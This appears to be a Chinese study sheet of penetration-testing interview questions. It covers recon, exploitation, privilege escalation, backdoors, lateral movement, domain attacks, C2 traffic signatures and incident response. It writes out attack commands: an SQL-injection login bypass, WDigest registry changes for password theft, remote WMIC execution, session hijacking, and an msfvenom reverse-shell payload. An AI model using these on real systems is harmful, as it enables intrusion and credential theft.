安全知识汇总
梳理网络安全知识点为自己查漏补缺。
信息收集
你是如何做资产信息收集的?
即查找目标所有的暴露面
1)企业组织架构信息收集(域名、APP和小程序、子公司和对外投资、供应商)
2)子域名枚举(自己开发工具-被动收集)
3)IP资产梳理(准确IP全端口、C段常见端口、目标开放服务和Web应用指纹识别)
4)目录扫描(后台、备份文件、敏感页面、未授权接口)
5)敏感信息(文档、Github搜源码、Google hacker)
如何绕过网站CDN获取真实IP?
1)空间搜索引擎(title="xxx"、cert="xxx.com"、icon_hash="xxx")
2)解析子域名,或许有没上CDN的
3)让服务器主动发起请求(SSRF漏洞、注册让其发邮件)
如何判断高交互蜜罐?
1)一般蜜罐里面 F12 被禁用(Debug)
2)网络一直发送HTTP请求给Jsonp
只有一个登录框如何渗透测试?
1)SQL注入万能密码 ( admin' or 1=1 --)
2)弱口令爆破
3)目录扫描
4)分析JS代码查找敏感信息、未授权访问API
5)逻辑漏洞(任意用户注册、改返回包绕过前端登录验证)
漏洞利用
Redis未授权访问如何利用,利用条件是什么?
利用条件:
当redis以root账户运行,无密码或者弱密码认证,并且绑定0.0.0.0可非本机访问的情况下;
Linux利用方式
上传SSH公钥登录SSH,原理是在redis中插入一条数据;
在Web目录写Webshell;
Crontab定时任务反弹shell;
利用slave主从复制实现RCE远程命令执行;
Windows利用方式
Web目录写Webshell
redis getshell中什么样的操作比较危险?
主从复制getshell的时候全量复制可能会覆盖原有数据。
IIS有哪些历史漏洞?
1)IIS 6.0 PUT文件上传漏洞
开启WebDAV服务、网站目录允许来宾用户写入 可用IISPutScanner工具上传文件
2)IIS6.0 解析漏洞
基于文件
IIS6.0默认不解析
;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。基于文件夹
IIS6.0会将
/*.asp/文件夹下的文件当成asp解析。
3)IIS7.0/7.5 解析漏洞
IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。
IIS对应windows系统版本
Windows Server 2003 #IIS 6.0
Windows Server 2008 SP2,SP3 #IIS 7.0
Windows Server 2008 R2 #IIS 7.5
Windows Server 2012 #IIS 8.0
Windows Server 2012 R2 #IIS 8.5
windows Server 2016 #IIS 10
有哪些解析漏洞?
Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
如 test.php.rar 会被apache解析成php
Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6,0.7 <= 0.7.65,0.8 <= 0.8.37
在图片中嵌入PHP代码然后通过访问,来执行其中的代码
xxx.jpg%00.php
Java反序列化漏洞
应用把不可信的字节流还原成对象时,触发了类的自动回调方法例如readObject,如果类里存在危险逻辑(反射调用、动态加载)就会触发任意代码执行。
构造一条Gadget Chain(利用链)需要3个要素:入口类(重写readObject且属性可被序列化控制),传递类(如Transformer反射调用),终点类(触发Runtime命令执行或文件读写、JNDI注入)。
实战首选CC6链,它把入口类换成了 JDK 最底层的 HashMap 官方无法修补,一旦修改 Java 所有的序列化哈希表功能都会崩溃。
比如Shiro 550反序列化漏洞是因为 rememberMe 功能把用户身份序列化后AES-CBC加密放进Cookie,服务端解密再反序列化;但是key是硬编码,拿到Key就能伪造任意序列化对象直接RCE。
Log4j2反序列化RCE的终点不直接执行命令,而是InitialContext.lookup(可控URL),利用JNDI注入从LDAP、RMI等服务加载远程恶意类实现命令执行。
FastJson反序列化漏洞是利用 @type 特性在 JSON 中指定任意Java类,在反序列化时自动调用该类的 Setter 或构造方法时,触发危险逻辑(如JNDI注入)从而实现RCE。
代码审计时全局搜readObject调用点看数据来源是否用户可控,同时审计依赖版本(CC、FastJson、Shiro)。
JNDI注入的原理
JNDI(JavaNaming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,JNDI规范允许我们通过对象的名称来访问这个数据源对象,而该对象可能储存在不同的命名或目录服务中,例如JDBC、LDAP、RMI、DNS、NIS、CORBA。
其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等
JNDI注入通过加载远程class执行恶意代码
攻击者可以通过构造恶意的JNDI URL,将恶意对象注册到JNDI目录服务器中,并在Java应用程序中使用该URL来获取对象,从而导致恶意代码执行。
权限提升
如何提升系统权限?
Windows
1)查看系统补丁,用类似 CVE-2020-0787 这些系统漏洞提权
2)烂土豆提权
- 让一个SYSTEM权限的进程主动向攻击者发起NTLM认证,中继到本地伪造的RPC服务拿到SYSTEM令牌,再模拟该令牌创建高权限进程
Linux
SUID提权,实战中遇到过运维图方便给 find 加SUID的场景,find -exec 直接root shell
内核漏洞提权(脏牛),2.6到4.8内核的竞态条件写漏洞,改SUID文件或改passwd加用户
Docker逃逸方法?
1)利用特权容器挂载挂载宿主机磁盘,写SSH公钥或定时任务反弹shell
2)Socket 逃逸,容器启动时挂载了 /var/run/docker.sock,容器内可以直接调用 Docker API 创建新的特权容器
3)runc 漏洞逃逸,覆盖宿主机上的 runc 二进制文件,当管理员下次执行 docker exec 等操作时,就会以 root 身份执行恶意代码
MySQL提权的方式有哪些?利用条件?
MOF提权
root账户
03系统
mof目录可写
secure_file_priv为空表示对mysql导入导出不做限制 在my.ini可以配置
UDF提权
Create function 调用udf.dll,以系统权限执行系统命令
SQL Server提权的方式有哪些?
xp_cmdshell
SP_OACreate
Openrowset沙盒
SQL Server代理执行计划任务
CLR公共语言运行时通过.NET程序调用powershell执行系统命令
假设SQL Server为sa权限,如何不通过xp_cmdshell执行系统命令?
1)有.net环境可以使用SQL Server的CLR(Common Language Runtime)功能创建一个CLR存储过程,其中使用C#编写的代码调用PowerShell来执行所需的系统命令。
2)安装了SQL Server Agent,可以创建一个作业(Job),在作业中设置步骤以执行所需的系统命令。使用sp_start_job存储过程来启动该作业,从而执行系统命令。
权限维持
Linux有哪几种后门实现方式?
ssh软链接后门
增加超级用户帐号
SSH公钥登陆
Crontab定时任务
Rootkit工具包
ssh软链接后门的原理是什么,可以通过该原理构造其他后门吗?
/etc/pam.d/su 中的pam_rootok.so使得UID为0的用户可以无需密码直接通过认证。
当通过特定端口连接SSH后,软链接文件为/tmp/su,应用就会寻找到/etc/pam.d/su作为配置文件,从而可以实现无密码登陆。
Windows有哪几种后门实现方式?
映像劫持Shift
添加影子账户
木马加入开机启动项
通道构建
常用哪些方式构建内网通道?
SSH高权限端口转发
FRP反向代理
目标不出网的情况下如何做内网通道,是什么原理?
Neo-reGeorg正向代理
其原理为在本地建立监听,提供socket服务,将数据通过http/https传递到webshell上做中转
服务端通信原理是通过session来接收socket转发收到的内容
横向渗透
你有一个webshell但无法执行系统命令,无法上传,怎么进行内网渗透?
假设这两个问题无法解决。
1)翻阅配置文件查找敏感信息
2)再通过漏洞点上传一个正向代理的webshell,尝试向内网其它脆弱资产横向移动
你横向渗透的常用手法有哪些?
抓hash和明文密码 -> hash传递和内网密码喷洒
翻阅配置文件查找敏感信息
获取历史凭证(history、浏览器、RDP连接凭证、xshell连接凭证)
弱口令
Web应用漏洞
系统漏洞ms17010
目标只开了139端口能否利用永恒之蓝?
需要使用445端口的SMB文件共享服务,以ms17_010为例我试过关闭445是不行的
内网渗透怎么获取服务器账号密码?
1)mimkatz抓hash和明文密码
2)翻阅配置文件,历史记录
3)密码喷洒:同密码重复利用
4)暴力破解弱口令
Mimikatz抓密码原理?
- 进程注入:
- Mimikatz通过利用Windows进程注入技术,将自身的代码注入到
lsass.exe进程中
- Mimikatz通过利用Windows进程注入技术,将自身的代码注入到
- 抓取凭据:
- 一旦Mimikatz成功地注入到目标进程中,它就可以访问该进程的内存空间,以获取其中保存的凭据信息。lsass.exe进程是Windows操作系统中的身份验证进程,负责处理用户登录的凭据。
如果目标用户在线则能提取到明文密码,或者提取到NTLM哈希值去离线解密。
不用mimikatz怎么抓明文密码?
注册表导出hash,然后彩虹表离线破解。
彩虹表是通过预先计算大量的密码和其对应的哈希值,并将它们存储在一个巨大的数据表中,以便在需要时快速进行哈希值的反查找。
Server 12限制了抓明文密码,怎么绕过?
改注册表开启Wdigest+rundll32强制锁屏+等管理员重新登录即可抓
哪个补丁导致了mimikatz无法利用,如何绕过?
原理是从lsass进程抓取内存
Windows Server 2012 之后的版本默认关闭Wdigest,无法从内存中获取明文密码。
2012之前的版本安装了KB2871997,同样无法获取明文密码
开启和关闭Wdigest的命令
#开启,值为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭,值为0
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
有哪些横向执行命令的方法?
psexec
wmic
net use共享+计划任务+type命令
psexec的底层实现原理是什么?
命名管道连接SMB共享
psexec和wmic的区别?
psexec会记录大量日志,wmic不会记录下日志,更为隐蔽。
横向渗透中,wmic如何构造有回显的命令执行?
WMIC进程调用把命令执行结果重定向到一个文本文件
#WMIC进程调用
WMIC /Node:192.168.1.120 /user:administrator /password:admin123 Process Call Create "cmd /c whoami > C:\Users\Public\Videos\out.txt"
#利用type查看结果
net use \\192.168.159.130\c$
type \\192.168.1.120\c$\Users\Public\Videos\out.txt
桌面有管理员会话,想要做会话劫持怎么做?
首先提权到system权限,能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证
#查询已登陆的用户会话
quser
#劫持用户会话
tscon ID /dest:console
你入侵了一台非域成员主机,如何快速定位到其它域成员主机?
PowerView 枚举域内登陆的用户
Import-Module .\powerview.ps1
Invoke-UserHunter
如何查询域管登录过的机器,查询原理又是什么?
定位域管两种手段:日志和会话。
psloggedon工具查询,原理是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器。
域控开放的常见端口有哪些?
53 #DNS Server
88 #KDC 密钥分发中心
389 #LDAP 轻量目录访问协议
445 #SMB
如何查询域之间的信任关系?
nltest /domain_trusts
研判分析
100台机器如何判断哪台被log4j攻击成功?
1、确认资产属性,哪部分使用了log4j的相关组件,排除无关联资产
2、检索攻击成功的事件日志,查看响应体里的内容是否命令执行了或带有敏感数据
全流量设备没有告警,没有样本,怎么找到攻击样本?
1)流量不全或者设备规则库未覆盖到相关的资产
2)可能攻击本来就是没有文件落地,根本没有样本
3)在其它设备上或者失陷主机上查看应用请求日志
如何判断被搭建了什么隧道
1)ICMP隧道数据包中DATA 往往大于64 比特,部分隧道工具会显示tun的标志
2)SOCKS某些隧道存在一些固定16进制特征,或者通过安全设备告警排查
如何排查JAVA内存马?
1)查看Web日志,filter或者listener类型的内存马,会有页面不存在但是返回200的请求
2)内存马的Filter是动态注册的,所以在web.xml中可能没有配置
3)内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。
流量特征
CobaltStrike
1)checksum8
运行staging模式的pe文件,会向指定服务器的checksum8路径发起请求来下载stage。
stage是包含了很多功能的代码块,用于接受和执行控制端的任务并返回结果。
其中HTTP请求路径符合checksum8规则,路径的ascii之和与256取余计算值等于92或93。
32位后门是92,64位后门是93。
2)JA3/JA3s
ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值(md5),相同版本相同系统下指纹相同,该特征与操作系统、cobaltstrike版本有关,profile文件无法对其修改。
72a589da586844d7f0818ce684948eea
fd4bc6cea4877646ccd62f0792ec0b62
72a589da586844d7f0818ce684948eea
652358a663590cfc624787f06b82d9ae
4d93395b1c1b9ad28122fb4d09f28c5e
a0e9f5d64349fb13191bc781f81f42e1
ae4edc6faf64d08308082ad26be60767
fd4bc6cea4877646ccd62f0792ec0b62
b742b407517bac9536a77a7b0fee28e9
Metasploit
1)默认使用4444端口作为反向连接端口
2)数据包通常包含特定字符串("meterpreter"、"revshell"等)
FRP
1)Frpc 在连接认证 Frps 的时候,会进行三次握手,会把 Frp 的版本信息发给 frps 进行认证
Version、Arch、User、Privilege_key 等字段
NPS
1)nps的认证过程三次握手客户端向服务器发送两次version的值和一次TST字段
蚁剑
每个请求体都存在以 @ini_set("display_errors","0"); @set_time_limit(0)开头。
并且响应体的返回结果是base64编码发混淆字符
哥斯拉
1)payload特征
jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马
2)Cookie
Cookie字段,最后一个Cookie的值出现;(尾值出现分号)
冰蝎
1)冰蝎1.0
有一个密钥协商过程,这个过程是明文传输,并且有两次流量,用来校验
2)冰蝎2.0
使用 AES加密 + base64编码 ,AES使用动态密钥对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
3)冰蝎3.0
使用 AES加密 + base64编码 ,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。
进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。
4)冰蝎4.0
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
使用长连接,避免了频繁的握手造成的资源开销。
默认情况下,请求头里会带有 Connection:Keep-Alive
有固定的请求头和响应头
请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
应急响应
一台服务器被植入Webshell怎么办?
1、清除Webshell:扫描网站目录,查找Webshell的位置,并删除
2、Web日志审计:根据Webshell创建时间,分析可疑的Web访问,找到漏洞位置,复现漏洞
3、修复漏洞,检查系统日志查看其它恶意活动,对服务器和Web应用进行安全加固
服务器被植入挖矿病毒如何应对?
1)分析网络流量找到挖矿病毒的进程和对外连接地址
2)根据挖矿病毒进程找到病毒文件样本,上传沙箱分析钱包地址
3)完全清除病毒样本加固服务器
你在排查挖矿病毒时,对应进程没有可执行文件(自删除)怎么办?
进程运行时的信息仍然完整保留在 /proc 中
cp /proc/<PID>/exe /tmp/malware_sample,通过 /proc + PID就能恢复样本
IPS和IDS的区别?
常见网络安全设备
| 设备 | 功能 | 部署方式 |
|---|---|---|
| IDS | 入侵检测系统(基于流量检测攻击) | 旁路 |
| IPS | 入侵防御系统(基于入侵行为库阻断攻击) | 串联 |
| FireWall | 防火墙(隔离网络边界控制数据交互) | 串联 |
| WAF | Web应用防火墙(基于规则阻断针对Web应用的攻击) | 串联 |
| GAP | 网闸(信息交换与安全隔离,逻辑隔离) | 串联 |
| FGAP | 光闸(单项信息传输,逻辑隔离) | 串联 |
| 堡垒机 | 运维安全审计系统(身份验证、账号管理、授权控制、安全审计) | 旁路 |
| DBAudit | 数据库审计(实时记录网络上的数据库活动) | 流量镜像 |
| AV/EDR | 终端安全(基于特征和行为等查杀危险程序和进程) | 终端安装 |
| SOC | 安全运营中心(协调所有安全技术提高检测、响应和预防能力) |
AV和EDR有何区别?
AV(Antivirus)是传统的安全防护技术,它主要依靠已知的病毒特征库来检测和防御病毒。
当一个文件被扫描时,AV软件会将其与病毒特征库中的已知病毒特征进行比较。
如文件与任何一个已知的病毒特征匹配,AV将标记该文件为恶意软件并采取适当的措施来保护系统。
EDR(Endpoint Detection and Response)则是一种新兴的安全防护技术,它不仅能够检测已知的病毒,还可以发现和响应未知的威胁。
EDR软件在主机上运行,收集和分析主机的行为和活动数据,以便发现恶意活动。
EDR技术利用机器学习和人工智能等高级技术来识别异常行为,并使用防御措施来保护系统。
Linux 中让命令在后台运行的方法有哪些?
systemctl 服务启动
nohub ./test.sh & #守护进程
Rootkit的种类有哪些,针对不同种类的Rootkit应该如何防护以及检测?
固件Rootkit
虚拟化Rootkit
内核级Rootkit
库级Rootkit
应用级Rootkit
Rootkit通过加载特殊驱动,修改系统内核隐藏自身及指定文件、进程和网络链接等。
可以使用chkrootkit工具检测,定期检查MD5、更新软件、安装杀软等方式防护
对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统
安全开发&工具
Nmap扫描方式有哪几种?怎么扫描快?
-sT #TCP全连接扫描
-sS #TCP SYN半连接扫描 ()
-sU #UDP
-sA #ACK
-sF #FIN
-T4 #设置时序模板越高越快
MSF有哪些模块?
| 辅 助 模 块 (Auxiliary,扫描器) | 扫描主机系统,寻找可用漏洞; |
|---|---|
| 渗透攻击模块 (Exploits) | 进行漏洞利用攻击; |
| 攻击载荷模块 (Payloads) | 生成攻击载荷(木马); |
| 后渗透攻击模块 (Post) | 用于内网渗透的各种操作; |
| 编 码 器 模 块 (Encoders) | 选择编码技术,绕过杀软(或其他免杀方式) |
所有模块位置:**/usr/share/metasploit-framework/modules/
MSF如何生成木马建立监听?
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
run
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=8089 -f dll > shell.dll
SQLmap注入怎么用?
sqlmap -r bp.txt
子域名挖掘如何处理泛解析?
泛解析定义
泛域名解析是一种特殊的域名解析方式,它使用通配符*形式,设置域名解析。
它可以将没有明确设置的子域名一律解析到一个IP地址上。
这样,即使用户输入错误的子域名,也可以访问到域名持有者指定的IP地址。
但是信息收集中,这会造成请求的所有子域名都能访问的假象,从而收集到一堆无效的子域名。
Onforall的处理方法
1)随机生成3个子域名做DNS解析
2)如果没有都解析成功证明不是泛解析,都解析成功的话做HTTP请求判断
3)HTTP访问都成功则不是泛解析,反之则计算两两响应页面的相似度
4)有一组相似判断为不是泛解析,都不相似就是泛解析
自己的实现
1)用一个绝对不存在的子域名去解析A记录,如有记录则存在泛解析
2)用不存在的子域名提取CNAME记录,作为泛解析对比标志
3)接下来的流程用Lookupcname解析剩余子域名,与泛解析标志做对比,如果不一样并且不为空则此子域名存在
Go编写的端口扫描器在Linux平台漏报原因?
Golang的net.DialTimeout这个函数最终其实就是调用linux socket
而linux中任何东西都是文件,同时linux默认允许同时打开的文件数是1024
协程数量大于1024就会导致socket链接建立失败,漏报大量端口
将open files数量设置大一点即可
ulimit -n 10000 #临时解决办法,当前终端生效
#永久生效方法
echo "* soft nofile 65533" >> /etc/security/limits.conf
echo "* hard nofile 65533" >> /etc/security/limits.conf
echo session required /lib/security/pam_limits.so >> /etc/pam.d/login
#重启系统
Ajax发送POST请求会发几个数据包?
两个,一个OPTIONS预请求,一个发送数据的请求
JWT Token是什么,有什么安全上的风险?
JWT(JSON Web Token)是一种用于身份验证和授权的开放标准,用于在不同系统之间传输信息。
header.payload.signature
- Header(头部): 包含有关JWT的元数据和算法信息。它通常包含两个字段:
alg(用于指定用于签名的算法,例如HMAC SHA256或RSA)和typ(类型,通常值为"JWT")。 - Payload(负载): 包含要传输的数据。Payload中的数据称为声明(claims),声明是有关实体(通常是用户)和其他数据的声明。声明分为三种类型:注册声明(注册的声明名称,例如"iss"表示签发者),公共声明(预定义的声明名称,但不强制,例如"sub"表示主题),和私有声明(自定义声明名称)。
- Signature(签名): 用于验证消息的完整性和身份验证。签名使用Header中指定的算法以及一个密钥,将Header和Payload进行签名。签名是将Header、Payload和密钥结合在一起通过指定算法生成的哈希值。
JWT Token的优点:
- 简单:由于信息是以JSON格式存储的,因此易于解析和处理。
- 自包含:所有必要的信息都包含在Token本身中,无需查询数据库。
- 可扩展:可以添加自定义声明来满足特定需求。
安全上的风险:
- JWT Token伪造: 如果JWT Token中的Payload部分是可以被用户篡改的,攻击者可能会修改Token中的数据以获取未授权的权限(改用户名和ID获取对应权限,需要知道密钥,密钥一般硬编码在源码里)。
- Token过期问题: JWT可以设置过期时间(exp)来限制Token的有效期,如果过期时间太长,增加了泄露风险。攻击者可以使用它来冒充用户或访问受保护的资源。
- JWT None攻击:JWT支持使用空加密算法,可以在header中指定alg为
None。这样的话,只要把signature设置为空(即不添加签名字段),提交到服务器,任何token都可以通过服务器的验证。 - KID参数:
kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥。
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
SQL注入漏洞
SQL注入的原理,如何防御?
应用程序对用户输入参数校验不严没有使用预编译,导致将SQL语句拼接执行。
主要有5种类型(盲注算一种):
1)联合注入(有回显,用ORDER BY猜列数)
2)报错注入(页面返回数据库报错信息,updatexml函数)
3)布尔盲注(页面true/false两种状态差异)
4)时间盲注(只能靠SLEEP延迟判断)
5)堆叠注入(分号后执行第二条语句,取决于驱动是否支持多语句)
6)二次注入(数据输入先存库,取出拼接时才触发)
可以使用预编译防御,参数只作为纯数据传入不会被当成代码执行;但是覆盖不到ORDER BY这种位置,需要字段名白名单才行
盲注如何高效拖数据(加速)
windows系统可用dnslog加速
布尔盲注可以用二分法猜字符,SQLmap就是这样做的;
时间盲注太慢可以配合Burp Intruder并发跑。
SQL注入如何绕过WAF?
1)内联注释,污染HTTP参数,WAF不能识别但数据库会正常执行
2)多层编码,双层URL编码、Unicode编码、UTF-8宽字节绕过(原理是数据库GBK编码会吃掉反斜杠,让单引号逃逸闭合语句)
3)分块传输,将请求体拆分成小块,WAF无法识别,但是web中间件能正常重组请求体
4)MySQL < 5.0 或被安全狗拦截 information_shema 表时无法列表名,需要用 SELECT 创建虚表获取数据
5)过滤了逗号时,可以用 offset 关键字和 from...for 绕过
XXE漏洞
XXE漏洞案例
某系统的WebService接口可使用 SOAP 型 XML 请求调用该方法本地引入外部实体读取系统文件,配合项目结构读取数据库配置信息 jdbc.properties。
如果过滤了SYSTEM关键字可以使用URL编码或者用别名代替SYSTEM。
SSRF 客户端请求伪造
SSRF的原理,常见场景?
服务端请求伪造是因为服务端根据用户输入的URL去发起网络请求,没有严格过滤,攻击者可以篡改这个URL访问内网资源。
经典利用场景利用Gopher协议打内网未授权redis服务反弹shell。
之前云厂商的的元数据可以获取临时AK/SK凭证,如果云服务器存在SSRF就能访问这个元数据获取AK凭证。
实战中重点测试带URL参数且服务端会去发送请求的功能点。
SSRF 无回显时怎么利用?
1)带外检测,用DNSlog带出数据
2)通过返回时间差异,判断内网端口是否开放
SSRF 绕过技巧
服务端的防御主要是用IP黑名单,禁止访问内网IP
1)用十六进制IP地址绕过
2)利用URL解析器滥用绕过 @ 符号
3)DNS Rebinding(DNS重绑定) 需要自己在DNS服务器上配置个域名,第一次解析通过校验,第二次解析到内网
文件上传漏洞
文件上传漏洞综述
服务端对上传文件校验不严,导致上传可执行脚本获取服务器权限。
除了常规的附件上传、头像上传等地方,重点关注富文本编辑器的上传接口(FCK、UEditor)。
实战中还遇到过注册用户的时候让上传营业执照的,Fuzz API 结构自己构造上传包的情况。
内网老系统可能还有IIS 6.0 PUT方法上传漏洞(需要开启WebDAV服务)。
服务端校验如何绕过?
1)黑名单校验:漏网之鱼(.php5、.cer、.phtml)\ 大小写+后缀复写(.PhpHpp)
2)白名单校验:PHP<5.3.4时%00截断,上传.htaccess文件(让服务器解析图片马)
有哪些目录解析漏洞?
1)IIS 6.0:目录解析、分号截断
2)IIS 7.5:CGI+反斜杠解析图片马
3)Apache: 多后缀从右往左解析
4)Nginx:老版本存在空字节漏洞,也是00截断
文件包含漏洞
文件包含漏洞综述
PHP的include/require在包含图片马时会把文件内容当PHP代码执行。
利用最多的是本地文件包含+PHP封装协议filter读取源码(CTF常见),实战中常用远程文件包含图片马getshell。
常见于多语言切换、页面渲染和文件下载功能。
路径穿越遇到代码加了前缀拼接用绝对路径绕过,加了后缀拼接就尝试%00截断(php <5.3.4)或者借助路径长度截断(windows)
命令执行漏洞
命令执行漏洞综述
常见于网络设备的ping功能中,程序调用危险函数未经严格过滤,导致拼接执行命令。
Linux最常用分号分隔符顺序执行命令,Windows用单&符,让前边的命令出错,执行后边的命令。
空格被过滤可以用${IFS}代替空格或者%0A代替换行符,还有反斜杠转义引号逃逸。
disable_functions禁用了命令执行函数,怎么绕过?
1)动态链接库 LD_PRELOAD + putenv + mail()
Linux系统中 LD_PRELOAD 指定的共享库,优先级最高。
mail() 底层调用系统 sendmail 程序
sendmail 运行时会动态加载共享库
通过 putenv() 设置 LD_PRELOAD 环境变量,让恶意 .so 被优先加载
在恶意 .so 中劫持函数(如 getuid())实现代码执行
2)伪造新环境 PHP-FPM / FastCGI 攻击
构造恶意 FastCGI 请求,设置 PHP_VALUE 环境变量,在新“伪造php.ini”环境中取消 disable_functions;
需要PHP-FPM 端口可达(9000);
蚁剑有这两种方式的插件。
域渗透
域环境的渗透思路
1)Zerologon 将域控账号的密码置空,控制域服务器
2)打印机漏洞 将普通域用户提权到域管理员权限
3)NoPAC 组合漏洞提升域普通用户至域管
Hash传递攻击:NTLM认证过程中,服务端校验的是哈希而非明文。mimikatz是用SYSTEM权限从LSASS进程内存空间获取用户凭证。
黄金票据伪造TGT,需要DC权限因为要用到krbtgt账户的NTLM哈希,可以访问域内任意服务
白银票据是伪造服务票据 ST,只需要目标服务账户的NTLM哈希,权限范围仅限该服务